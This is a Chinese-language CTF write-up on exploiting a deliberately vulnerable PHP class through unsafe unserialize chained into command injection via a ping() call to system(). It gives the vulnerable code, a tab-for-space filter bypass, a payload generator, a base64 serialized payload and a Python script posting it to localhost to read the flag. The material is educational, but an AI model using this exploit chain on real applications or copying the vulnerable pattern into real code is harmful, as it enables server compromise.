CTF中PHP反序列化和命令注入的一次簡單利用


代碼來自第六屆防災科技學院網絡安全技能大賽,侵刪。

目標

獲取Linux服務器根目錄下的flag

代碼

/*home.php*/
class home{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

    function ping($host){
        system("ping -c 2 $host");
    }
    function waf($str){
        $str=str_replace(' ','',$str);
        return $str;
    }

    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
        }
    }   
}
$a=@$_POST['a'];
@unserialize(base64_decode($a));

分析

該PHP文件只接收一個base64編碼的POST參數,將其解碼后會進行反序列化操作。

在執行__wakeup()方法之后,會觸發__construct()方法進行初始化,該方法沒有可以利用的地方。

當所有的操作執行完畢之后,需要釋放序列化的對象,觸發__destruct()魔術方法。該方法只允許執行類中的ping方法,並會將args的值作為ping方法host參數。

ping中存在可控參數$host,且調用了system函數,這里便可以作為一個利用點。可以構造一個特殊的payload:

ping -c 2 127.0.0.1|cat /flag.txt
#不唯一

利用

整理上面的思路可知,若想得到flag最終要構造出如下的args字符串:

127.0.0.1|cat /flag.txt

而waf等方法又過濾掉了空格,這里可以通過將空格換成Tab來繞過該限制。
同時還要注意method必須為ping。

這里得到了構造payload的最終PHP腳本:

class home{
    
    private $method;
    private $args; 
}
	$a = new home("ping",array('127.0.0.1|cat 	/flag.txt'));
	$b = serialize($a);
	echo base64_encode($b);

payload

Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ==

發送payload得到flag

import requests
data ={"a":"Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ=="}
url = 'http://localhost/common/home.php'
r = requests.post(url,data=data)
print(r.text)
#result:flag{glzjin_wants_a_girl_friend}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM